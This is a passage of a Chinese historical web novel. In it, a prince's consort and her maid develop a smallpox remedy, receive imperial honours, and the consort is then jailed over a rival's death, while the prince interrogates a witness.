夏韶宁见着王妃哭得厉害,倒是没有一味地劝她不要哭。
“我说不出什么咱们是一家人是姐妹这种虚伪至极的话,只是同住在一个屋檐下,我有能力帮一把的,我总会帮。”
“再说……”想到三公子那张胖乎乎的小脸,夏韶宁甚至笑了。
“孩子总是无辜的。”
……
于是乎,随着夏韶宁的一声令下,贤王府上上下下都开始忙碌了起来。
起先府里有孩子的诸如唐侧妃、苏庶妃听说这预防痘疫的汤药是夏韶宁写的方子,根本不愿意给孩子们喝。
可是当听说住在瑞香院的三公子已经发了痘,她们便吓得连夜派人去大厨房取了药,一口不剩地全都喝了进去。
王妃听得碧溪传来的话,当夜就下了死命令:贤王府里的所有人,无论主子还是下人,但凡不听指挥自己乱来的,通通十个杖刑伺候!
那一夜之后,再也没人敢乱说一句话,乱做一件事了。
第一百六十六章 终于研制成功
于是,接下来的几天里,夏韶宁与辛夷便将自己关在琼华院的主屋里,不眠不休地开始研制治疗痘疫的药物。
两人最忙的时候,甚至一天只吃了几口点心,只靠在椅子上眯了半个时辰,便又爬起来开始翻医书,配药试药。
期间好几次连一向脾气最好的蕙心都看不下去了,强行将夏韶宁拖到床上去睡觉。只是夏韶宁每每装睡到蕙心关上门出去以后,便又偷偷从床上爬起来继续研制。
其实说起来,夏韶宁也并不是完全为了三公子才这么拼命去研制这治疗痘疫的药物的,她只要想到金州城还有需要普通的老百姓在等着这药来救命,她就觉得她还要快一点,再快一点。
正因为前世的自己曾是个最普通最底层的老百姓,今世的她才更能理解普通百姓的疾苦,能共情百姓们的心情。
终于,功夫不负有心人,仅仅用了四天,夏韶宁和辛夷便研制出了一个治疗痘疫的药方,这会儿已经熬好了药,放在了王妃的跟前。
“娘娘,这药是妾与辛夷研制出来的,只是还未曾给人试用过,也不知道具体的疗效如何,会不会有副作用。”
这会儿的夏韶宁熬了四天,早就已经是满脸的菜色。只是她看着眼前的药,还是不忘了提醒一下王妃。
“您若是有所顾虑,也可以不给三公子喂这药。妾听闻这几日金州城的疫情也已经控制住了,想来过几日王爷应当也能将太医从宫里请来了……”
“我没有顾虑。”还没等夏韶宁将话说完,王妃便抬手直接打断了她未说出口的话。
“这几日你与辛夷姑娘有多辛苦,咱们整个贤王府的主子下人全都看在眼里。也因为你一开始就将这传染的源头给掐断了,这么多天,咱们府里没有一个人染上痘疫。”
“你考虑得这么周全,自己又这么辛苦才研制出了这药,我一个什么忙都没有帮上的人,又有什么资格说我有所顾虑呢?”
说到这儿,王妃便将药碗端了起来,又对一旁的白露使了个眼色,白露便将三公子扶着坐了起来。
这会儿的三公子已经不发热了,只是身上的痘还是断断续续地在发,可以说浑身上下连一块好的皮肤都没有。
整个人看起来一点儿精气神都没有。
王妃用勺子舀起了一勺药,仔仔细细吹凉了,语气十分温柔地对着三公子小声道,“驰儿乖,将这药喝了,病就好了。”
三公子虽说如今还未过周岁,但是平日里也被王妃教养得很好。其他孩子若是生病了,非要大人哄着骗着才肯吃药。
可是三公子只是听完了王妃的话,便乖乖将勺子里的药喝了进去。
不一会儿,一碗药便已经见了底。
眼见着三公子将药喝了下去,夏韶宁的心里的石头便也渐渐落了地。
虽然说她刚刚对着王妃说了那么多话,但是只有她和辛夷明白,这幅药方耗费了她们两个多少的精力才研制成功的。
她敢说,这药的疗效一定是最好的。
“三公子喝了药,还得劳烦王妃娘娘时时刻刻看着他,若是他有哪里不舒服,一定要同妾说。”
眼见着三公子喝完了药又迷迷糊糊睡着了,夏韶宁留下了这句话,便带着辛夷离开了。
只是当她走到瑞香院大门口的时候,却被从院子内匆匆赶来的王妃拦了下来。
“你又救了我孩子一次。”此时的王妃,脸色也并没有比夏韶宁好上多少。她有些疲惫地看了夏韶宁一眼,只是如今整个人看起来却显得那样的真诚。
“我今日答应你,若是这一次驰儿能渡过难关,以后你在府中说什么做什么,我都不会干涉你。”
“我只求一个贤王正妃的位置,其他的,都随你。”
王妃的这番话,似乎耗费了她所有的精神,这句话说出口之后,夏韶宁便感觉王妃肉眼可见的颓然了下来。
这个样子怎么说呢?就好像一朵本来开得十分茂盛的牡丹,一夜之间就枯萎了下来。
“您不必这样。”夏韶宁转过身,没再看王妃,“我尽心研究这治疗痘疫的药物,也并非完全是为了三公子。只要三公子用了这药有效果,我明日便将这方子交给王爷,让他交给太医院全城推广。”
“妾还是那句话,妾什么都不求,只希望在这府里好好活下去。若是王妃非要觉得欠了妾什么,那就先欠着,等妾想到想要什么了,再来向娘娘讨可好?”
夏韶宁这话说得很诚心,王妃倒是也听了进去。
……
果然,三公子头一天服用了夏韶宁研制的药物以后,第二日身上就没有再发新的痘了。
再服用了三日,浑身上下的痘也变成了暗红色。而三公子本人,精神也一日日的好了起来。
也就是在三公子终于恢复健康的那一天,已经离开家有半月之久的萧祈安,终于带着太医回到了贤王府。
“什么?你说你和辛夷自己研制出了一副药方,驰了吃了你的药,这就好了?”
听完了这整件事情的来龙去脉,萧祈安瞪大了眼睛,满脸都写着难以置信。
而跟在他身后的那两个太医,更是紧紧地盯着眼前这个看起来二十岁都不到的年轻女子,一脸的不相信。
其中一个上了年纪的太医捻了捻花白的胡须,甚至大着胆子对着夏韶宁道,“不知侧妃可否将您说的研制出的药方给下官瞧一瞧?”
夏韶宁当然看出了眼前两个太医脸上写着的不相信,只是她却也不想同他们解释什么。她只是对着辛夷点了点头,辛夷便将手中的方子递给了那个太医。
“妾本想等三公子完全好了再派人将这方子送到王爷那儿去的,没想到王爷今日倒是回府了。”夏韶宁解释道。
而那头的太医接过了辛夷递来的方子,一开始面上还是一副无所谓的态度,只是越往下看,他们的神色却越发严肃了起来。
一开始只是一个太医在看,而后另外一个太医也加入了起来。两个太医一边看着方子,一边讨论了一会儿,大概两刻钟后,他们终于将方子放了下来。
只见刚刚那个花白胡须的太医走到了夏韶宁跟前,不由分说地就对着她行了一个大礼。
“侧妃娘娘的心思可真是巧妙啊,下官怎么也没想过这几味药配在一块儿居然能发挥这么好的疗效!刚刚是下官无礼了,下官给您赔罪了!”
“恳请贤王殿下和侧妃娘娘允许下官将这药方带回太医院,稍稍改良一番后大规模地在金州城推广。如此这般,金州城的痘疫便可完全控制住了!”
第一百六十七章 奖赏
随着两位太医将夏韶宁研制的治疗痘疫的方子带回了太医院,又经过太医院众多太医的稍加改良之后,这幅药方便被分发至了金州城各大医馆和药馆。
仅仅过了不到半月,金州城的痘疫就被遏制住了,之前因为发了痘而得不到有效治疗的病患们,服下了这特效药以后也都先后恢复了健康。
显庆帝大喜,下令要重重的奖赏研制这幅药方的人。而太医院的太医们也不敢擅自居功,太医令更是原原本本地这幅药方的来历告诉了圣上。
于是,显庆帝最后才知道原来这幅药方居然出自贤王侧妃和她身边的医女之手。
紫宸殿。
夏韶宁和萧祈安并排站在下首,辛夷则规规矩矩地站在自家主子身后。上首的显庆帝正满脸笑容地看着她们。
“老六啊,你这个侧妃可真是不一般啊!”显庆帝这话虽然是对着萧祈安说的,只是他的目光却一直都在夏韶宁的身上。
“朕记着之前你两次受伤,都是你这侧妃将你救回来的吧?”
“父皇好记性,夏氏的确救过儿臣好几次了。”听得父皇夸奖夏韶宁,萧祈安的心里也十分高兴。
“说说吧,你这次立了这么大的功,想要什么奖赏啊?”显庆帝点了点头,随即走到了夏韶宁的面前道,“你尽管提。”
说实话,夏韶宁还真没想过显庆帝会因为这件事情奖励自己。
她当初将那张药方给了宫里来的那两位太医,就没想过这药方还会署她的名。
她本来也就不是冲着名和利去的。
眼见着面前的小女子不说话,显庆帝还以为她是吓着了,于是同夏韶宁说话的语气又放温和了些。
“你不必怕,朕是皇帝,一言九鼎。只要你提的要求不是很过分的,朕都能满足你。”
这会儿的夏韶宁虽然没说话,但是她的大脑却在飞速地转动着。
既然圣上都这么说了,那她也就没必要假谦虚了。可是她到底应该同圣上要什么奖赏呢?一时之间还真叫她犯了难。
她想了好大一会儿,最终还是开口了。
“回陛下的话,妾自入了贤王府后,王爷对妾一直都很好,所以妾如今在贤王府里倒是什么都不缺。”
“只是陛下既然开了口,妾若是什么都不要难免会让您觉得妾太虚伪,所以……”
她顿了一会儿,随即便朝着显庆帝端端正正地跪了下去。
“妾想向陛下求一个恩典,在未来的日子里,请陛下能多信任贤王殿下一点,殿下是个好王爷,更是个一心为民的好官员!”
夏韶宁的话音刚落,很明显,眼前的显庆帝和萧祈安都被她的话给惊着了。
特别是萧祈安,他怎么也没想到,这么一个好机会摆在这丫头面前,这丫头不仅什么都没要,反而在父皇面前帮他说好话。
而一旁的显庆帝,听完了夏韶宁这番话以后,难得地陷入了沉思。
老六……的确很好。
“好,既然你这么说了,那朕就答应你。”沉默了一会儿,显庆帝便走到了萧祈安的身边拍了拍他的肩膀,“实在是你已经有了正妃了,不然如此女子,当真配得上堂堂正正地站在你的身边!”
“只是朕既然说了要给你一个奖赏,那必定是要给到你自己身上的。”
显庆帝顿了顿,随即转身对着站在一旁的潘德忠喊了一声,“传朕旨意,贤王侧妃夏氏于研制痘疫药方一事上有功,着封其为正五品宜人,享食邑两千户,年俸银两千两,绸缎一百匹,田产一千亩!”
“至于你身边的这位医女……”显庆帝抬起头来看了看辛夷,见她虽为奴婢,身上却无一丝怯弱的样子,相反的整个人看起来不亢不卑,进退有度。
“你可否愿意入太医院,成为本朝第一位享月俸的女医官?”
显庆帝一席话落,在场的所有人都惊呆了。
夏韶宁怎么都想不到,显庆帝居然直接大手一挥给了她一个五品诰命!要知道,连她的祖母和母亲,如今身上都还没有诰命呢!
而且最重要的是,显庆帝并不觉得对于辛夷这名女子来说,最好的奖赏是给她指一户高官为妻。他居然问她是否愿意入太医院,成为一名正经的女医官?!
要知道,这可是辛夷这辈子最大的梦想啊!
果然,还没等夏韶宁跪下谢恩,站在她身后的辛夷便红着双眼朝着显庆帝行了一个本朝最大的礼。
她整个人趴在地上,嘴里不住地谢恩道,“奴婢愿意!奴婢谢主隆恩!”
眼见着辛夷已经谢了恩,夏韶宁便也赶忙跪下身来,朗声道,“妾谢圣上隆恩!”
“都起来吧,朕多希望咱们大容能多出一些像尔等如此优秀的女子啊!”
***
夏韶宁和萧祈安刚回到贤王府,潘德忠便带着圣旨来府上宣旨了。
萧祈安来不及休息,即刻派人将府里所有的女眷叫到了王府大门口,听潘德忠宣旨。
“奉天承运皇帝,召曰:今有贤王侧妃夏氏,秀外慧中,于研制痘疫药方一事上居功甚伟,着今日起封其为正五品宜人,钦此!”
“奉天承运皇帝,召曰:贤王府医女辛夷,通晓医理,蕙质兰心,着今日起封其为正六品太医院女医官,与太医院太医享同等待遇与月俸。三日后前往太医院赴任,钦此!”
“妾/微臣领旨!”
潘德忠一口气念完了两份圣旨,而跪在萧祈安身后的其他女人们,每个人的脸上都是一副难以置信的表情。
她们甚至以为自己的耳朵出了毛病,这夏韶宁不过就是带着她身边的那个小医女研制出了一个药方,怎么一个就封了正五品宜人,一个……居然就成了太医院的女医官?
“圣上这次可是真的高兴了,要知道,圣上已经许多年都没给皇室的女眷们封过诰命了。”潘德忠将圣旨交给夏韶宁,面上的表情则显得特别恭敬。
“而且辛夷大人更是咱们大容建朝以来第一名女医官,这身份,真的是很高了!”
第一百六十八章 嘱托
直到潘德忠已经离开很久了,后院中的其他女眷们仍站在大门口没有离开。
她们一个个不知道是被吓着了,还是根本就不相信眼前这件事情是真的,人人都呆愣在原地,一声不吭。
眼见着这群女人们也不准备离开,萧祈安便直接开口了。
“夏侧妃这次立了大功,父皇给了她一个五品诰命,所以从今以后,她也就不仅仅是贤王府的一名侧妃了。”
“虽说你们都是我的妻妾,平日里见着倒是没必要同外人那般行礼问安,但是你们要知道,她的身份始终是高于你们的。”
“王爷,您别这么严肃嘛!”眼见着眼前的女人们因为萧祈安这番话一个个的脸色更加难看了,夏韶宁到底还是开口缓和了一下气氛。
只见她径直走到了王妃面前,仍旧如从前一般规规矩矩地朝着她行了一礼道,“无论妾如今是什么身份,王妃依旧是这贤王府的主母。妾只希望王妃以及各位姐妹从前是怎么对我的,以后照旧就可。”
从潘德忠宣旨开始,王妃的脸色一直都是那般苍白的样子。哪怕如今夏韶宁对她说了这番如此恭敬的话,王妃心中依旧酸涩得可怕。
只是她哪怕心中再酸涩再不服气,面对着如今已身有诰命的夏韶宁,她只能客气地对着她道,“夏妹妹客气了。”
因着萧祈安今日还有公务,所以陪着夏韶宁接完旨以后他便又马不停蹄地回督察院上值去了,夏韶宁便带着仍旧有些晕乎乎的辛夷回了琼华院。
琼华院的婢女们早一刻钟之前也就知道了自家主子和辛夷姐姐的大喜事儿,这会儿见两人回来,更是齐刷刷地对着两人行起了大礼来。
“奴婢恭贺主子得封正五品诰命,恭贺辛夷姐姐的封本朝第一位太医院女医官!”
“你们……你们怎么能跪我呢?快起来快起来!”眼见着平日里同自己朝夕相处的好姐妹们居然跪着向自己行礼,辛夷忙上前想将他们一个个拉了起来。
“你现在是有品级的女医官了,她们给你见礼,你受得起。”
夏韶宁轻轻拉住了辛夷的手,示意她稍等一会儿。直到婢女们朝着她行了一个完完整整的礼,夏韶宁才松开了辛夷的手,让她将众人扶了起来。
“奴婢……奴婢真没想到自己还有这么一天!”虽然得知这个消息已经过去差不多一个时辰了,可是说起这件事情,如今的辛夷还是难掩激动的神情,说着说着似乎又要落下泪来。
“记着,从今以后,你在我面前不用称奴婢了。你是女医官,那些太医怎么称呼自己,你就怎么称呼自己。”
夏韶宁拉住了辛夷的手,迎着几个婢女的拥护同其他四人一道进了主屋。
直到将那些闲杂人等赶了出去,辛夷便又不由分说地朝着夏韶宁跪了下来,重重地对着她磕了三个头。
“我能有今天,全靠主子一路提携!辛夷今日只想同主子说一句,不论我以后是谁,在哪里,我永远都与主子站在一处!只要主子有需要,上刀山下火海,辛夷万死不辞!”
“哪里就需要你上刀山下火海了。”听得辛夷这般严肃的话,夏韶宁倒是忍不住笑了。
她蹲下身子将辛夷从地上扶起来,语气温和道,“圣上圣旨上让你三日后便进宫赴任,所以今日有些话我便一并在这同你说了。”
“你要知道,咱们大容从建朝以来从未出过一名正经的女医官,宫里的那些女医大部分还是在给太医院的太医打下手。”
“圣上看重你,亲自下旨让你成了这第一个吃螃蟹的人,这是无尚的荣耀,但是更多的也是对你的考验。”
“你入了宫,以后的路必定是不会好走的,或许这条路上会有嘲笑、有困难,甚至于讥讽和谩骂。但是你都不用管,你只要守着你治病救人的初心就够了。”
“若是在宫里遇到了解决不了的困难,一定要告诉我,咱们永远都是一家人!”
夏韶宁一边对着辛夷说着这番话,一边死死地握住辛夷的手。
一开始她说话的语气还算得上是平静,只是一想到与自己朝夕相处了两年多的人这就要同自己分开了,坚强如夏韶宁,眼眶还是红了起来。
“我明白了。”辛夷哪里会听不出夏韶宁这句句都在为她考虑的话,只是想到自己就要同主子分开了,心中难免还是有些难过。
“好了,咱们都好好的,以后的日子,总会越来越好的!”
夏韶宁稳了稳情绪,随即将辛夷和其他四个婢女的手紧紧地叠在了一块儿,久久都没有再说话。
……
三日后,辛夷收拾好了自己所有的家当,还带着夏韶宁偷偷塞给她的三百两银票,穿上太医院的女医官服坐上了去往宫里的马车。
萧祈安今日刚好休沐,便陪着夏韶宁站在府门口目送辛夷离开,一时心里倒是也感慨万千。
“当初你把这丫头从人牙子手里带到身边伺候,可曾想过她能有当上女医官的一天?”
萧祈安瞧着夏韶宁的手,见她一直盯着辛夷马车离开的方向看着,便开口问道。
“我第一眼就知道她是个有本事的,刚好这一次天时地利人和,圣上也是个惜才的,这才叫她脱颖而出了。”
夏韶宁将目光收了回来,转头对着萧祈安回道。
“只是说实话,这张治疗痘疫的方子真的几乎耗尽了我与辛夷全部的心血了。我私心里说一句,圣上给我们两个如此殊荣,我觉得我们当得起。”
萧祈安向来最欣赏的就是夏韶宁这般不过度自满也不虚假谦虚的样子。
她做了好事,任何人给她赏赐,她从来都会好好感谢你,然后欣然接受。
两人正在府门口一边说话一边往里走呢,却不想刚走到前院,就见白露慌慌张张地朝着两人小跑了过来。
“这里是前院,你跑来这里做什么?”见她跑来,萧祈安有些不悦地看了白露一眼,说话的语气便也不太好了。
谁知道听得萧祈安的话,白露连请罪都来不及了,只是直直地就朝着两人跪了下来。
“回王爷的话,我们王妃,晕倒了!”
第一百六十九章 心病难医
王妃这一次的病,来得似乎特别棘手。
自从她三天前忽然在瑞香院的院子里晕倒了以后,她便一直处于一种昏迷不醒的状态。
萧祈安似乎也意识到了王妃这次的病不是小问题,于是特意向圣上请旨将太医令请到了府上给王妃看诊。但是很遗憾的是,太医令用尽了自己毕生所学,也没办法让王妃从昏迷中清醒过来。
瑞香院。
“王爷,请恕微臣无能,王妃娘娘这病,微臣恐怕是治不了了。”
在又一次针灸加上药物治疗丝毫不起作用以后,庄太医令最终还是放弃了。
“可是王妃看起来除了面色苍白了一些,其他的都是正常的,她为何一直醒不过来?”
萧祈安带着夏韶宁站在王妃的床前,面上的表情只觉得疑惑。
“会不会是中毒了?”夏韶宁细细看了看王妃的脸色,回去翻遍了公孙信给她的医书也没找到与王妃症状相对应的病症。她想了很久,最终不得不猜测王妃是否是中毒了。
“微臣日日为王妃把脉,未曾把得王妃体内有毒素存在。”听得夏韶宁的话,庄太医令顿了会儿,忽然看了她一眼,随即有些欲言又止。
“您有什么话直说便是,不必遮遮掩掩。”萧祈安看出了庄太医令的纠结,于是急忙开口道。
“恕微臣直言,王妃这番昏迷不醒,或许并不是身体上的原因。”他顿了一会儿,直接将目光投到了一旁的夏韶宁身上。
“微臣曾询问过王妃娘娘身边的婢女,之前三公子发痘的时候,王妃娘娘日夜衣不解带地照顾他,都未曾见有任何不适的地方。只是当几天前听到潘公公来府上宣旨,圣上亲封夏侧妃为正五品宜人,王妃过了几天忽然就晕倒了,而后便再也没有醒来。”
宫里的太医说话从来都圆滑,今日的庄太医实在怕找不到王妃晕倒的原因贤王殿下会怪罪自己,不然打死他也不会去置喙一个亲王的家事。
庄太医令的话就说到这里了,只是萧祈安和夏韶宁都是聪明人,他们如何不明白庄太医令话里的意思呢?
“本王明白了。”想通了其中的关窍,萧祈安便也不再深问了。
他婆娑着大拇指的扳指好一会儿,最终才对着张全和吩咐道,“好生送庄太医令回宫吧!”
张全和得了令,便对着庄太医令做了个请的手势,庄太医令便还是叹了口气离开了。
“刚刚庄太医令的意思,王妃是因为我得封了诰命这才昏迷不醒的?”
眼见着外人都已经离开,夏韶宁说起话来便不再需要避讳了。她转过头来看着萧祈安,满脸都写着难以置信和无可奈何。
“王妃这人,性子要强,为人谨慎,最重礼法。她总觉得无论如何她都是这贤王府的女主人,任何人都不可能也不可以越过她去。”
“如今你得了父皇亲封的诰命,在她心里这这件事情甚至比废了她的王妃之位还让她难以接受。她接受不了现实,所以便潜意识的不想让自己醒来,这才彻底昏迷了下去。”
萧祈安瞥了一眼仍旧躺在床上脸色苍白的王妃,终究忍不住重重地叹了一口气。
“可是,我并没有做错什么。”瞧着萧祈安的脸色不好看,此时的夏韶宁的倔脾气也犯了。
“这个诰命是我靠自己的本事得来的,圣上愿意给我,我接受了,我没有对不起任何人。”
夏韶宁自诩这两年多来,对待王妃已经够尊重了。换做别家府里的宠妾,哪有对主母这般好态度的?
更不要说她几次三番地救了王妃和她的儿子。
她夏韶宁对待王妃,已经够仁至义尽了。
“我哪儿就说你做错了?这件事和你又有什么关系?”
看着夏韶宁满脸倔强的样子,萧祈安无奈极了。
他走到夏韶宁面前揉了揉她的脑袋,随即道,“你很好,你比所有女人都要好。她昏迷不醒是她自己的心病,和你没有任何关系。”
“既然王妃身体上没有问题,那便让婢女们好好照顾着她吧。我猜想,等到什么时候她能接受这个现实了,应当就能醒过来了。”
萧祈安留下了这句话,又对着碧溪和白露好好的嘱咐了几句话,这便带着夏韶宁离开了。
两人就这样一言不发地回了琼华院。
夏韶宁总觉得心里憋屈,于是便一直坐在一旁不说话。
萧祈安一时之间也不知道该同她说什么,便只得自顾自地坐在一旁看书。
只不过也没等两人这尴尬的气氛持续多久,张全和忽然从外头走了进来。
“王爷,宫里来了个人,说圣上请您同夏侧妃即刻入宫。”
张全和躬了躬身子,随即又靠近了萧祈安一点,压低声音对着他道,“奴才见着那来传话的人脸色不大好,也不知道是不是出什么事儿了。”
张全和这话虽然说的声音小,可是还是被夏韶宁给听着了。
她心中忽然一滞,不知为何忽然就联想到了那杨素灵忽然死了的事情。
于是她瞬间从椅子上站了起来。
萧祈安转头敏锐地察觉到了夏韶宁情绪的变化,于是他走到了她身边,轻轻握住了她的手。
“别怕,一切有我。”
紫宸殿。
离上一次来到这里也才过去了不到一周,可是如今这殿内的氛围却与上一次完全不同。
显庆帝一言不发地坐在上首的龙椅上,面上看不出任何情绪。
而让夏韶宁意外的是,太子和五皇子居然也来了紫宸殿。
太子站在一旁,眼见着萧祈安带着夏韶宁入了殿来,忍不住狠狠地剜了他们一眼。
而另一边的五皇子则站在太子身后,用一种奇怪的眼神死死地盯着夏韶宁和萧祈安。
夏韶宁忽然觉得心中有一种说不出的不太好的预感。
果然,两人刚同显庆帝行了一礼,便听得上首的圣上开口了。
“老六,太子与老五联合上书,说你的侧妃夏氏设计逼迫太常寺卿杨松的二女儿在郊外自杀,可有此事啊?”
第一百七十章 孰是孰非
显庆帝的话音刚落,夏韶宁和萧祈安同时一怔。
两人都没想到,太子居然会用杨素灵自杀的事情作为一个由头告到了显庆帝的面前。
夏韶宁下意识地想要开口,但是却被一旁的萧祈安死死按住了手。
“回父皇的话,儿臣以为这件事情里头有些误会。”
萧祈安对着上首的显庆帝拱了拱手,说话的语气十分谦卑。
“误会?哪里来的误会?”听得萧祈安的话,太子快速地给五皇子使了个眼色,五皇子便立刻站出来反驳起来。
只见他向前跨了一大步,对着显庆帝大声道,“双十节那一日儿臣的妻妹本是准备去宝光寺祈福的,谁知道走到半路被一辆马车拦住了去路。妻妹着急想要先行,却不想有人故意在前头的地上洒满了黄豆!马儿踩到黄豆滑倒,妻妹便从马车上摔了下来!”
“五哥这话是什么意思?”听得五皇子一口气说了这许多话,萧祈安的面上依旧是一副云淡风轻的表情。
“六弟莫不是听不懂人话?”看着萧祈安这般样子,五皇子更气了。
“妻妹亲口说的,前头那辆马车的车檐下挂着一只刻着‘贤’字的风铃!这整个金州城,除了你贤王殿下,还有哪家马车敢在车上挂刻着这个字的风铃?!”
“行了,都住口!”眼见着萧祈安和五皇子你一言我一语争执了起来,显庆帝终于开口打断了他们。
他转过头来盯着始终一言不发的夏韶宁,平静的语气中带了一丝不可反驳的威严。
“夏宜人,你来说。”
这会儿的显庆帝,没有称呼夏韶宁为夏氏,也没有叫她夏侧妃,而是喊了她一句夏宜人。
夏韶宁瞬间就明白了显庆帝的意思。
如今的她是享受俸禄的诰命夫人,与普通女子完全不同。天子亲自问她问题,如果她胆敢说一句假话,那等待她的下场,可想而知。
此时的她满脑子都想着要如何回答显庆帝的问题,她想了许久,最终还是决定实话实说。
夏韶宁不敢赌一个帝王心中的底线。
“回陛下的话,五皇子说的都是实话。那一日在杨二小姐前头的,的确是妾的马车。那地上的黄豆,也的确是妾让人故意洒的。”
她深深吸了一口气,随即笔直地朝着显庆帝跪了下去。
“杨二小姐一而再再而三的言语欺辱妾娘家小妹,小妹受屈日日躲在家中门都不敢出。妾身为小妹长姐,不忍看到她这般样子,所以私心想着就为小妹出一口气。”
“只是妾当时只想着让杨二小姐出个丑,多一句话都没有同杨二小姐说过。所以妾也不明白,这杨二小姐为何好端端的就自杀了。”
“父皇你瞧,这女人承认了!”听得夏韶宁的话,五皇子面上明显露出了一丝十分兴奋的神情。
“妻妹是个把名节看得比命还重要的女子,出了如此大的丑,她如何还能在这世上活下去?!都是这个女人,是她害死了妻妹!求父皇严惩这女人和萧祈安,也好给儿臣的岳家一个交代啊!”
显庆帝听着夏韶宁一字一句说着这些话,心中想着倒是同云蝣报来的消息完全一样。看样子,她是真的没有说谎。
“你倒是承认得干脆。”显庆帝并没有接五皇子的话,而是仍旧将目光放在了夏韶宁的身上。
“只是这件事情到底因你而起,死的又是太常寺卿家的女儿,就算你实话实话,朕也不能就全部相信你。”
显庆帝放下了手里的笔,走到了底下那群人的面前。
“潘德忠,将夏宜人暂时收监大理寺,待事情调查清楚以后再做下一步处理吧!”
“父皇!事情已经如此清楚了,您还要调查什么?!”听得显庆帝做出的决定,五皇子和太子明显脸色一变,五皇子更是忍不住对着显庆帝大声质问道。
“父皇,这件事尚未查明,大理寺那是关押犯人的地方,您怎么能……”
而这一头的萧祈安,听得显庆帝居然真的要将夏韶宁关进大理寺,这会儿才真的慌了起来。
都怪这突如其来的痘疫打破了他的计划,本来他之前是准备去刑部和大理寺找四哥和夏明博好好调查一下这件事的,只是都被这痘疫打乱了。
“你们俩如今是在质疑朕的决定?”
看着眼前两个儿子的样子,一贯脾气温和的显庆帝,神色忽然变得格外严肃起来。
他那双如鹰一般的眼神在萧祈安和五皇子的身上扫来扫去,五皇子瞬间被惊得出了一身的冷汗。又见站在他身旁的太子不住地朝他摇头,他到底还是闭嘴了。
而夏韶宁见萧祈安皱着眉头仍想要开口争辩,急忙死死拉住了他的手。
只见她对着显庆帝磕了个头,随即朗声道,“妾对陛下的决断没有异议,愿意暂时收监与大理寺!妾也相信陛下是贤君,一定会还妾一个清白!”
“您别冲动,我二哥如今也在大理寺任职,我吃不了亏。我等着您救我出去。”
就在夏韶宁被内侍带走的前一秒,路过萧祈安身边的时候,快速小声地对着他耳语了一句。哪怕此刻的萧祈安仍旧心有不甘,他也不敢再同父皇争辩了。
天子决定的事情,从来都是不容置喙的。
……
夏韶宁两辈子加起来,也从来没来过监狱这种地方。
前世的时候倒是看过一些古言小说,那会儿就总在上头看到大理寺这个地方。她那个时候就总是会想这到底是个什么样的地方呢?这不如今自己也进来了。
夏明博早半个时辰以前就接到了萧祈安传来的消息,说夏韶宁被圣上暂时关进了大理寺。他心中大惊,当时就想要进宫去找圣上理论,到底被长乐公主拉住了。
“你别冲动!父皇这么做一定有他的道理!”长乐公主拉住夏明博,从腰上扯下一个荷包不由分说地塞进了他的手里。
“还好如今你在大理寺任职,你赶快去一趟牢里,拿着这些钱上下好好打点一下,千万别让韶宁姐姐吃亏了!”
第一百七十一章 内有隐情
夏韶宁在大理寺最里面的一间牢房里见到了夏明博。
因着有了夏明博和萧祈安的双重打点,夏韶宁的待遇可比一般的犯人要好太多了。
夏明博隔着牢房的木栏递给了夏韶宁一个大大的包袱,随即压低声音对着她道,“时间太急了,来不及回你府上替你收拾东西。这里头都是我让公主看着帮你置办的,你凑合用。”
“这牢房里头的狱卒我都已经打点好了,没有人会为难你,你就在这里好好待着,哥哥一定想办法早日救你出来。”
夏韶宁瞧着眼前那个满脸都写着担忧的哥哥,忽然觉得心里十分熨贴。
“你们不必担心我,我在哪儿都能好好生活下去的。”夏韶宁给了木栏外的夏明博一个安定的眼神,示意他们放心。
“还有一事,若是方便,烦请哥哥替我带句话给王爷。让他不必着急更不必担心我,只管好好查出真相便是,千万别因为着急上了他人的当。”
回想起刚刚在紫宸殿太子和五皇子那般反常的举动,夏韶宁总觉得这件事情肯定没那么简单。
***
安顿完了夏韶宁,夏明博便带着一直候在牢房外头的长乐公主一道马不停蹄地去了一趟贤王府。
很意外的是,四皇子这会儿也在这里。
当夏明博把夏韶宁要自己带给萧祈安的话说给他听了之后,萧祈安瞬间便陷入了深思。
“四哥和夏大人如何看待这件事儿?”也不知道沉默了多久,萧祈安终于转过身来对着面前的两人出声了。
“我不知道你们是怎么看的,只是我觉得,那杨二是定然不可能自杀的。”
眼见着四哥和自己的驸马都不出声,长乐公主忽然开口了。
“你们都是男子,与那杨二不熟悉很正常。只是我们都是女子,杨二又爱借着五嫂嫂的光总是参与到我们这群女子中的聚会里来,所以我对她还算是熟悉。”
“那杨二与她的姐姐是一模一样的性格,整个人最是牙尖嘴利又得理不饶人。若是说她这种人会因为当众摔下马车出了一次丑就去自杀,打死我都不相信!”
长乐公主这话说得十分的斩钉截铁,便也让在场的其他人更是相信了好几分。
“云薇不是说那杨二小姐同五弟妹的关系最好吗?那如今咱们不如从五弟妹那里下手如何?”
细细琢磨了一番长乐公主的话,四皇子忽然就冒出了这样一个想法。
“五哥今日当着父皇的面说了,那杨二小姐是在双十节那日摔下马车当众出了丑。她一个未出嫁的女儿家,受了委屈除了回自己的家里,那就只能是……”
萧祈安顿了顿,随即与其他人对视了一眼,于是大家便异口同声道——
“去五皇子府找她的姐姐!”
……
萧祈安是在金州城最大的青楼红逍坊里找到五皇子府上那个叫牛大力的门房的。
找到他的时候,他正因为喝了花酒却没钱可以付,差点就要被青楼里的龟奴们打断一只手。
萧祈安替他把欠了半年的花酒钱给付了,转头就将他带到了一家隐蔽的茶楼里。
“你们……你们是什么人?”牛大力被眼前几个男人的气场吓着了,这会儿正满脸恐惧地看着萧祈安等人。
“是来救你的好人。”萧祈安对着裴言摆了摆手,裴言一把就将牛大力整个人提了起来。
“诶诶诶……好汉饶命!好汉饶命!你们帮我还了债,那就是我的恩人,既然是恩人,那咱们有话好好说,好好说嘛!”
那牛大力本就长得瘦弱,这会儿被裴言整个人提到了半空中,差点被吓得尿了裤子。
“行啊,你这人倒是还算是上道。”听得牛大力就这般轻易地松了口,萧祈安便又对着裴言使了个眼色,裴言立即将他放了下来。
“双十节的那天晚上,你们五皇子妃的妹妹,有没有去过你们府上找过五皇子妃?”
听得眼前的贵人想要知道的居然是这件事,刚刚还一副知无不言的牛大力,立刻变得犹豫起来。
“你不说?”见那牛大力一脸支支吾吾的样子,萧祈安也没那么多耐心陪他在这里耗着。
他放下手里的扇子,直接转身从裴言的腰间抽出了一把剑,直接对着牛大力的小腿就是一剑!
那牛大力吃痛,瞬间就跪倒在了地上。
“我知道你在犹豫对我说了这件事情会失去五皇子府的这份差事,只是我很明确地告诉你,若是今日我得不到我想要的答案,你以后大概也就没有命能继续在五皇子府上当差了!”
